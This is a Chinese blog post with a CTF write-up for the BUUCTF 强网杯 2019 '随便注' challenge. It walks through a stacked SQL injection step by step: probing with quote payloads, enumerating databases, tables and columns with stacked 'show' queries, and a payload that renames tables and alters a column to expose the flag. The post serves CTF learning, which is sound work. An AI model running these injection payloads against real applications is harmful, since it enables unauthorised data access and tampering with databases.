Loading

BUUCTF[强网杯 2019]随便注(堆叠注入)

记一道堆叠注入的题。也是刷BUU的第一道题。

?inject=1' 报错
?inject=1'--+  //正常

存在注入的。正常查询字段数,字段数为2。在联合查询的时候给了新提示

?inject=0' union select 1,2%23


正则匹配过滤掉了经常使用的查询关键字,但是并没有禁用show,那么可以试下堆叠查询。

?inject=0'; show databases;%23


暴出了一些数据库。接着查表。

?inject=0'; show tables;%23


显示有两张表。试着查看字段

?inject=0'; show columns from words;%23

?inject=0';show columns from `1919810931114514`;%23


不能直接读flag,那么可以猜测我们输入的查询语句都是words这张表的东西,那我们怎么才能让它回显flag所在的表呢?因为没有过滤alert和rename关键字
1.将words表改名为words1或其它任意名字
2.1919810931114514改名为words
3.将flag列改名为id
原来flag放在1919810931114514表里,我们查询的语句友words这张表来回显,现在将1919810931114514表名改成words那么,我们查询的语句由1919810931114514来回显。

1';RENAME TABLE `words` TO `words1`;
# 把 words 改名为 words1
RENAME TABLE `1919810931114514` TO `words`;
# 数字表改名为 words
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;  //character set 即字符集  COLLATE utf8_general_ci:数据库校对规则
新的 words 里的 flag 列改为 id (避免一开始无法查询)
show columns from words;#

接着我们再用1’ or 1=1 #,查询就得到flag

posted @ 2020-05-12 18:13  Hel10  阅读(440)  评论(0编辑  收藏  举报